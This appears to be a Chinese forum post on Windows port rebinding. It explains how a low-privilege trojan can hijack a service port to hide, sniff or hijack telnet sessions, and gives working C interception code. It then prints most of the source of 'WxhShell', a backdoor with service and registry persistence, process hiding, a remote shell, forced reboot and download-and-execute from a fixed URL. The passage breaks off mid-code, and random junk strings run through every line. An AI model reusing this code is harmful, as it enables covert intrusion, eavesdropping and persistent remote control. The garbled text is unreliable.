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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n `m_S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c7g.|R  
5G'&9{oB  
  saddr.sin_family = AF_INET; 1R2o6`_  
/%uZKG P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c. TB8Ol  
! [|vx!p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cCh0?g7nV  
J[<pZ [  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WE5"A| =  
"6E1W,|{  
  这意味着什么?意味着可以进行如下的攻击: fmnRUN=  
,"N3k(g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W"-EC`nP  
RUS7Z~5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A&|Wvb=  
K/wiL69  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r,3Ww2X-  
Fp5NRM*-!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   hmBnV  
\za5:?[xB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?Rt 1CDu  
x0u?*5-t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7~kpRa@\P  
5mna7 BCEb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^p"4)6p-W  
KkdG.c'  
  #include h/1nm U]  
  #include a(}VA|l  
  #include }RA3$%3  
  #include    GP{$v:RG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "rjv5*z^&  
  int main() "#-Nqq  
  { mmrW`~-  
  WORD wVersionRequested; "[Qb'9/Jc  
  DWORD ret; =j|v0& AGC  
  WSADATA wsaData; t,=@hs hN  
  BOOL val; r,u<y_YW  
  SOCKADDR_IN saddr; *xX( !t'  
  SOCKADDR_IN scaddr; IqhICC1V-  
  int err; 7 >PF~=  
  SOCKET s; 4f4 i1i:  
  SOCKET sc; O1x0[sy  
  int caddsize; aCU7w5  
  HANDLE mt; -5V)q.Og  
  DWORD tid;   e;A^.\SP  
  wVersionRequested = MAKEWORD( 2, 2 ); ;Cr_NP[8|j  
  err = WSAStartup( wVersionRequested, &wsaData ); A*7Io4e!  
  if ( err != 0 ) { L.09\1?.n  
  printf("error!WSAStartup failed!\n"); W{fULl  
  return -1; zG-_!FIn  
  } 8!u/   
  saddr.sin_family = AF_INET; tC2 )j7@  
   `a9k!3_L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [cGt  
5i!V}hE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _`bS[%CJ  
  saddr.sin_port = htons(23); /h?<MI\7V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1DEO3p  
  { <a8#0ojm  
  printf("error!socket failed!\n"); WF ?/GN  
  return -1; T!u'V'Ei2  
  } qDby!^ryc  
  val = TRUE; a. h?4+^bN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xa87xX=a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o &BPG@n  
  { CS~=Z>6EjA  
  printf("error!setsockopt failed!\n"); uY&=eQ_Cb  
  return -1; Cz'xGW{  
  } !lR0w|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KWFyw>*)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ftYR,!&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b@=z rhQ  
RH!SW2o<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V/aQ*V{  
  { H|PrsGW  
  ret=GetLastError(); y#b;uDY  
  printf("error!bind failed!\n"); xGKfej9  
  return -1; wrH7 pd  
  } jZXVsd  
  listen(s,2); -M"IVyy@  
  while(1) t{_!Z(Rt5)  
  { "DVt3E  
  caddsize = sizeof(scaddr); 25xcD1*  
  //接受连接请求 wn &$C0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HA$Y1}  
  if(sc!=INVALID_SOCKET) r#LnDseW  
  { y._'K+nl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sW;7m[o  
  if(mt==NULL) rs[?v*R74  
  { @4;HC=~  
  printf("Thread Creat Failed!\n"); _FL<egK  
  break; ~k9O5S{  
  } V-[2jC{  
  } C= >B_EO  
  CloseHandle(mt); q&u$0XmV  
  }  qovQ9O  
  closesocket(s); (l Lu?NpIi  
  WSACleanup(); ^fkCyE;=  
  return 0; ,/~[S  
  }   )yHJ[  
  DWORD WINAPI ClientThread(LPVOID lpParam) e&d3SQ%  
  { E::L?#V  
  SOCKET ss = (SOCKET)lpParam; .j:i&j(  
  SOCKET sc; joe9.{  
  unsigned char buf[4096]; :FnOS<_B  
  SOCKADDR_IN saddr; LFCTr/,  
  long num; h]qT1( I  
  DWORD val; F vj{@B!  
  DWORD ret; + Qt[1Xq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !d\t:0;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,,S9$@R  
  saddr.sin_family = AF_INET; ir]Mn.(Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <#>Oy&E  
  saddr.sin_port = htons(23); "cwR^DoD&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?p(kh^z  
  { =KV@&Y^x4  
  printf("error!socket failed!\n"); ?~!tM}X0:3  
  return -1; WS5A Y @(~  
  } -<6v:Z  
  val = 100; *%3oyWwCd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,NDh@VYe  
  { :#WEx_]  
  ret = GetLastError(); 5!~!j "q  
  return -1; S0F@#mSQ?  
  } 6{Ks`Af  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X&s7% ]n+  
  { [ dGO,ndE  
  ret = GetLastError(); "r@G@pe  
  return -1; [KMS<4t'  
  } C(s\LI!r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w}d}hI  
  { P Q,+hq  
  printf("error!socket connect failed!\n"); jA,|JgN|n  
  closesocket(sc); )i @1X H"D  
  closesocket(ss); &RWM<6JP  
  return -1; yOc|*O=]U  
  } Fqo&3+J4  
  while(1) d]MGN^%o  
  { 90p3V\LO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i(0hvV>'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Hr6wgYPi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H"O$&  
  num = recv(ss,buf,4096,0); B3Mx,uXT\  
  if(num>0) f4 Q( 1(C  
  send(sc,buf,num,0); [g+y_@9s  
  else if(num==0) PT+c&5AS  
  break; _e_4Q)z-a  
  num = recv(sc,buf,4096,0); x:qr\Rz  
  if(num>0) lcCJ?!lsSW  
  send(ss,buf,num,0); 6%%PP8.F  
  else if(num==0) 2 % %|fU9  
  break;  [@<G+j  
  } u%xDsT DP  
  closesocket(ss);  qtzFg#  
  closesocket(sc); qL3@PSN?|  
  return 0 ; Wk}D]o0^@  
  } C%]."R cMC  
E`tQe5K  
FZpsL-yx^N  
========================================================== 9 Va40X1  
K@6`-|I  
下边附上一个代码,,WXhSHELL dnwdFsf  
 \dTQQ  
========================================================== OTE<x"=h  
@89I#t6A.  
#include "stdafx.h" !y%+GwoW  
:c=v}  
#include <stdio.h> pisB,wP$2  
#include <string.h> 7 W{~f?Sh  
#include <windows.h> 9^!wUwB  
#include <winsock2.h> x<s|vgl|  
#include <winsvc.h> n8$=f'Hgb  
#include <urlmon.h> n$YE !D'  
2m\m/O  
#pragma comment (lib, "Ws2_32.lib") F@1d%c  
#pragma comment (lib, "urlmon.lib") lBmm(<~Z  
U. (Tl>K|0  
#define MAX_USER   100 // 最大客户端连接数 ESIzGaM  
#define BUF_SOCK   200 // sock buffer 5U~OP  
#define KEY_BUFF   255 // 输入 buffer HlPG3LD!  
"J !}3)n  
#define REBOOT     0   // 重启 yb?{LL-uy  
#define SHUTDOWN   1   // 关机  uB;_vC  
/[iG5~G  
#define DEF_PORT   5000 // 监听端口 69/?7r  
\vVSh  
#define REG_LEN     16   // 注册表键长度 t:=k)B  
#define SVC_LEN     80   // NT服务名长度 rrcwtLNbu  
{i>Jfl]G}  
// 从dll定义API sPy2/7Wqd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xs%LRF# u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b=1%pX_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z,x" a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1ef'7a7e8  
 w;+ br  
// wxhshell配置信息 _f3 WRyN0  
struct WSCFG { (Y2m md  
  int ws_port;         // 监听端口 _q)!B,y-/N  
  char ws_passstr[REG_LEN]; // 口令 k2p'G')H  
  int ws_autoins;       // 安装标记, 1=yes 0=no (a }J$:  
  char ws_regname[REG_LEN]; // 注册表键名 {zP#woz2Q  
  char ws_svcname[REG_LEN]; // 服务名 0[)VO[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'gDe3@ci!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !| xZ6KV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4LsHs   
int ws_downexe;       // 下载执行标记, 1=yes 0=no KDD@%E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9U^$.Lb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $O9Xx  
k_?~<vTM  
}; Hbk&6kS  
FJT1i@N  
// default Wxhshell configuration XsUUJuCG  
struct WSCFG wscfg={DEF_PORT, /.P9MSz0G  
    "xuhuanlingzhe", 2xn<E>]  
    1, BS7J#8cu  
    "Wxhshell", <uD qYT$6  
    "Wxhshell", bxwkTKr'  
            "WxhShell Service", .oR3Q/|k]  
    "Wrsky Windows CmdShell Service", :6lwO%=F  
    "Please Input Your Password: ", k|FSz#Y  
  1, Jq .L:>x  
  "http://www.wrsky.com/wxhshell.exe", 5+K;_)   
  "Wxhshell.exe" =IHje;s  
    }; 7tgFDLA  
O-PdM`mqW  
// 消息定义模块 [bjN f2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :#$F)]y'\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J#aVo &.Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <MdGe1n  
char *msg_ws_ext="\n\rExit."; #hJQbv=B"  
char *msg_ws_end="\n\rQuit."; bRPO:lAy  
char *msg_ws_boot="\n\rReboot..."; =nU/ [T.  
char *msg_ws_poff="\n\rShutdown..."; !;dSC<   
char *msg_ws_down="\n\rSave to "; F P@qh  
\84v-VK  
char *msg_ws_err="\n\rErr!"; i8~$o:&HT  
char *msg_ws_ok="\n\rOK!"; \H4U8)l  
xU}M;4kH~  
char ExeFile[MAX_PATH]; 73 V"s  
int nUser = 0; }Hy ~i  
HANDLE handles[MAX_USER]; PZ,z15PG]  
int OsIsNt; >uy%-aXiVa  
.Xd0 Q=1h  
SERVICE_STATUS       serviceStatus; 8!zb F<W9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mp\%M 1<  
-(IC~   
// 函数声明 y ~AmG~  
int Install(void); S&?7K-F>_o  
int Uninstall(void); >F3.c%VU]w  
int DownloadFile(char *sURL, SOCKET wsh); Ld(NhB'7  
int Boot(int flag); }U[-44r:  
void HideProc(void); 9y^/GwUQ  
int GetOsVer(void); I:$"E% >=  
int Wxhshell(SOCKET wsl); {QQl$ys/  
void TalkWithClient(void *cs); E>pVn2|  
int CmdShell(SOCKET sock); fbC~WV#  
int StartFromService(void); M35Ax],:^  
int StartWxhshell(LPSTR lpCmdLine); Bo r7]#  
^$Krub{|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ssl&5AS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;%zC@a~{  
oT&m4I  
// 数据结构和表定义 `Ko[r R+  
SERVICE_TABLE_ENTRY DispatchTable[] = %fhNxR  
{ K]fpGo  
{wscfg.ws_svcname, NTServiceMain}, SDBt @=Nl  
{NULL, NULL} BQjGv?p0s  
}; `;F2n2@  
Fr5 Xp  
// 自我安装 7=k^M, a  
int Install(void) 2z\;Q8g){r  
{ p=gX !4,9<  
  char svExeFile[MAX_PATH]; S " pI  
  HKEY key; kuKa8c  
  strcpy(svExeFile,ExeFile); iiNSDc  
`.^ |]|u  
// 如果是win9x系统,修改注册表设为自启动 : ejJV 6.  
if(!OsIsNt) { WRpyr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eVt1d2.O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?CY1]d  
  RegCloseKey(key); n29(!10Px  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ddDS=OfH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lS9n@  
  RegCloseKey(key); CMl~=[foW  
  return 0; 'M/ ([|@  
    } Dp!zk}f|  
  } {gU&%j  
} ;dQAV\  
else { DDw''  
(-"`,8K 2}  
// 如果是NT以上系统,安装为系统服务 YBjdp=als  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tu}>:mk  
if (schSCManager!=0) KQmZ#W%2m  
{ N 8t=@~]  
  SC_HANDLE schService = CreateService _H\<[-l  
  ( ebM{OI  
  schSCManager, ctJ&URCi#  
  wscfg.ws_svcname, dGkg aC+  
  wscfg.ws_svcdisp, 97LpY_sU  
  SERVICE_ALL_ACCESS, C2/}d? bki  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h6M;0_'  
  SERVICE_AUTO_START, $sgH'/>  
  SERVICE_ERROR_NORMAL, T+CajSV  
  svExeFile, /Ox)|) l  
  NULL, G]*|H0j  
  NULL, <B[G |FY,  
  NULL, m ,tXE%l  
  NULL, {a "RXa  
  NULL &]iKr iG  
  ); li/aN  
  if (schService!=0) LwdV3vb#  
  { 5 Op_*N{V  
  CloseServiceHandle(schService); "JT;gaEm  
  CloseServiceHandle(schSCManager); n?QZFeI`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FpVV4D  
  strcat(svExeFile,wscfg.ws_svcname); pFO^/P'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'uC59X4l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !O)qYmK]|  
  RegCloseKey(key); >i~^TY-&  
  return 0; $[(d X!]F  
    } ?L|yaC~  
  } .j?kEN?w  
  CloseServiceHandle(schSCManager); #n7Yr,|Z  
} p^X^1X7  
} x"\qf'{D  
Pil;/t)"  
return 1; DW2>&|  
} rt!r2dq"  
Ai kf|)D[  
// 自我卸载 f)6))  
int Uninstall(void) J8Z0D:5  
{ D>kD1B1  
  HKEY key; HL8eD^  
\:/Lc{*}MD  
if(!OsIsNt) { VKuAO$s$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PT]GJ<K/  
  RegDeleteValue(key,wscfg.ws_regname); 4hAJ!7[A.  
  RegCloseKey(key); [1( FgyE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w^;DG  
  RegDeleteValue(key,wscfg.ws_regname); o`?zF+M0  
  RegCloseKey(key); Y(VO.fVJK  
  return 0; eegx'VSX4  
  } jk7 0u[\  
} S/gm.?$V  
} E*CcV;  
else { # c Fr   
GyC)EFd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I%;Jpe  
if (schSCManager!=0) \l,rpVv5m  
{ *'8LntZf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VmvQvQ/9R  
  if (schService!=0) bToq$%sCg  
  { wCb(>pL0  
  if(DeleteService(schService)!=0) { $a#H,Xv#  
  CloseServiceHandle(schService); APSgnf  
  CloseServiceHandle(schSCManager); >l5u54^3K  
  return 0; Yl({)qK{  
  } ;=~Xr"(/z  
  CloseServiceHandle(schService); ~`cwG` 'N  
  } &Lj@9\Dh  
  CloseServiceHandle(schSCManager); 5:_hP{ @  
} ai-n z-;  
} |jG~,{  
..qd,9H  
return 1; r>n" 51*  
} A Y9 9!p  
f )NHM'  
// 从指定url下载文件 Pe ~c  
int DownloadFile(char *sURL, SOCKET wsh) 1ThqqB  
{ ?I W_O~Js  
  HRESULT hr; pJ^NA2  
char seps[]= "/"; 6X_\Ve  
char *token; j]5WK_~M  
char *file; V3sL;  
char myURL[MAX_PATH]; zx%X~U   
char myFILE[MAX_PATH]; <bUe/m  
,+1m`9}  
strcpy(myURL,sURL); X.#oEmA ,P  
  token=strtok(myURL,seps); ;L"!I3dM)  
  while(token!=NULL) |:[9O`U)s  
  { &m'kI  
    file=token; zG9|K  
  token=strtok(NULL,seps); ?IhB-fd>@  
  } Sc$UZ/qPT  
" ;NRzY  
GetCurrentDirectory(MAX_PATH,myFILE); ]z ==   
strcat(myFILE, "\\"); 1wn&js C  
strcat(myFILE, file); WeJ@x L  
  send(wsh,myFILE,strlen(myFILE),0); -Zc![cAlO  
send(wsh,"...",3,0); Q!'qC*Gyfn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ew,T5GG  
  if(hr==S_OK) d8x%SQ!V  
return 0; `8g7q 5  
else -_0?_Cb  
return 1; a. %LHb  
;_"U "?h_J  
} +c$I&JO  
ZxHJ<2oD  
// 系统电源模块 lK(Fg  
int Boot(int flag) SN Y (*  
{ $dg9z}D  
  HANDLE hToken; c:hK$C)T  
  TOKEN_PRIVILEGES tkp; Gt-UJ-RR y  
$:bih4 @>  
  if(OsIsNt) { a)s;dp}T%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9;=dxWf   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /yPXMJ6W~R  
    tkp.PrivilegeCount = 1; 7{M>!} rY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EU+cca|qS9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M0'v&g  
if(flag==REBOOT) { `DW2spd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hv)8K'u  
  return 0; {})$ 99"x  
} + ,4" u  
else { &0 \ ci9o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~)X[(T{  
  return 0; %w}gzxN^  
} wS XVyg{  
  } nb, 2,H  
  else { h#.N3o  
if(flag==REBOOT) { [c&B|h=>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v}(6 <wnnS  
  return 0; oh-|'5+,;h  
} cDkV;$  
else { 4 J^Q]-Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k4\UK#ODe  
  return 0; 4{na+M  
} S\x=&Rz  
} /bVZ::A&_  
;y>a nE}n{  
return 1; x4kWLy7Sz  
} /@oLe[Mz$  
n=sXSxl  
// win9x进程隐藏模块 #bnb ': f  
void HideProc(void) b{Zpux+  
{ b$JBL_U5Ch  
3=.Y,ENM;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); On_@HQ/FI  
  if ( hKernel != NULL ) blt'={Z?.x  
  { 8*a), 3aK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pbk$o{$`W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l]Lx L  
    FreeLibrary(hKernel); 4ne5=YY *  
  } 9<1F[SS<s9  
TJ_=1Y@z  
return; X` r* ob  
} :}}%#/nd  
iz^qR={bW  
// 获取操作系统版本 |(R5e  
int GetOsVer(void) Zj9c9  
{ C*kK)6v `  
  OSVERSIONINFO winfo; Kuw^qX"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ocRdbmS  
  GetVersionEx(&winfo); @cvP0A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ` }gbc69  
  return 1; /R8p]  
  else yt0,^*t_  
  return 0; S;\R!%t_  
} @tT-JwU  
<^R{U&Z@  
// 客户端句柄模块 D{7w!z  
int Wxhshell(SOCKET wsl) Qst$S}n  
{ oF:v JDSS  
  SOCKET wsh; X]j)+DX>  
  struct sockaddr_in client; _F(P*[[&  
  DWORD myID; Nn6S 8kc  
$W8Cf[a  
  while(nUser<MAX_USER) YV'pVO'_+  
{ ~2 *9{  
  int nSize=sizeof(client); _S?qDG{E|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I[Ic$ta  
  if(wsh==INVALID_SOCKET) return 1; .K8w8X/3  
Sb&lhgW]c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S -&)p@4  
if(handles[nUser]==0) 8/%6@Y"Y*  
  closesocket(wsh); :py\ |  
else !7p}C-RZp  
  nUser++; 2b@tj 5  
  } z}4L=KR\v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wTq{sW&  
m\u26`M  
  return 0; iAn'aW\TF  
} Gpj* V|J  
pHE}ytcT  
// 关闭 socket db72W x0>  
void CloseIt(SOCKET wsh)  Gs0H@  
{ hlJpElYf  
closesocket(wsh); !ku X,*}q  
nUser--; v1G"3fy9  
ExitThread(0); $9!D\N,}]C  
} rfcN/:k  
k-LEI}h  
// 客户端请求句柄 | }&RXD  
void TalkWithClient(void *cs) K7TzF&  
{ j f~wBm d7  
vv0Q$ O->  
  SOCKET wsh=(SOCKET)cs; ,I.WX,OR  
  char pwd[SVC_LEN]; ?,knit2x  
  char cmd[KEY_BUFF]; e)^j+ l  
char chr[1]; 6cS>bl  
int i,j; X* eW#|$\  
w|Cx>8P8@  
  while (nUser < MAX_USER) { "?}uQ5f  
K!z`  
if(wscfg.ws_passstr) { kQ>^->w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AC%JC+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MHj,<|8Q  
  //ZeroMemory(pwd,KEY_BUFF); |pZUlQbb  
      i=0; m"2d$vro"  
  while(i<SVC_LEN) { O'*@ Ytn  
afEF]i  
  // 设置超时 1`bl&}6l|E  
  fd_set FdRead; I s57F4[}  
  struct timeval TimeOut; _s.;eHp,  
  FD_ZERO(&FdRead);  \[:/CxP  
  FD_SET(wsh,&FdRead); m}j:nk  
  TimeOut.tv_sec=8; !vD{Df>  
  TimeOut.tv_usec=0; I~* ? d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( <*e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); El2e~l9  
M" lg%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3.Gj4/f  
  pwd=chr[0]; Cr ? 4Ngw  
  if(chr[0]==0xd || chr[0]==0xa) { "hz\Z0zg2  
  pwd=0; \Gp*x\<^Z  
  break; JC?N_kP%W  
  } ^]C&tG0 !  
  i++; ]88];?KS}  
    } qPGuo5^  
xJ8%<RR!t  
  // 如果是非法用户,关闭 socket X|LxV]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;QCrHqRT`  
} _banp0ywS  
W;6vpPhg#!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]bdFr/!'S+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "`Ge~N[$A  
/'.=sH  
while(1) { Rf-[svA  
.4y>QN#VL  
  ZeroMemory(cmd,KEY_BUFF); 4-GXmC  
bru/AZ#de  
      // 自动支持客户端 telnet标准   e$)300 o  
  j=0; 6X2PYJJZ  
  while(j<KEY_BUFF) { uGU; Y'W)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * *H&+T/B  
  cmd[j]=chr[0]; $:s`4N^  
  if(chr[0]==0xa || chr[0]==0xd) { } R4c  
  cmd[j]=0; >JwLk[=j  
  break; ;lX(}2tXW  
  } E.bi05l  
  j++; sW#JjtK  
    } PCrU<J 7  
}G<T:(a  
  // 下载文件 58xnB!h\}  
  if(strstr(cmd,"http://")) { %(/!ljh_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VZn=rw  
  if(DownloadFile(cmd,wsh)) `6Qdfmk=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QnouBrhO  
  else yF._*9Q3hK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FyoEQ%.bI  
  } B$Z3+$hfF  
  else { P,DC7\  
T'-FV  
    switch(cmd[0]) { "t=hzn"~%  
  Joe_PS  
  // 帮助 SlLw{Yb7\.  
  case '?': { R8ONcG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oPKr* `'  
    break; K0+.q?8D|  
  } owpWz6k7  
  // 安装 3-n1 9[zk  
  case 'i': { NSA F4e  
    if(Install()) 1SIq[1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r,P1^uHx  
    else LA3<=R]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )D-c]+yt  
    break;  _?vo U  
    } 0H_!Kg  
  // 卸载 wd@aw/  
  case 'r': { ^rl"rEA  
    if(Uninstall()) s MN*RKer  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lw7=+h)  
    else V! |qYM.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >kZ57,  
    break; qB]i6*  
    } ^E`(*J/o  
  // 显示 wxhshell 所在路径 fQK"h  
  case 'p': { /2M.~3gQ  
    char svExeFile[MAX_PATH]; rx"s!y{!-  
    strcpy(svExeFile,"\n\r"); RF!a//  
      strcat(svExeFile,ExeFile); iZ3W"Vd`b  
        send(wsh,svExeFile,strlen(svExeFile),0);  ,B<l  
    break; nz1'?_5  
    } )+")Sz3zx  
  // 重启 OYC_;CP  
  case 'b': { x]mxD|?f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3ss6_xd+  
    if(Boot(REBOOT)) ^\:8w0Y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "& Dx=Yf  
    else { q_W0/Ki8  
    closesocket(wsh); l&YKD,H};  
    ExitThread(0); _lKZmhi  
    } $2D uB  
    break; 8x{B~_~  
    } )\;Z4x;]U  
  // 关机 q*![AzFh  
  case 'd': { )QagS.L{z  
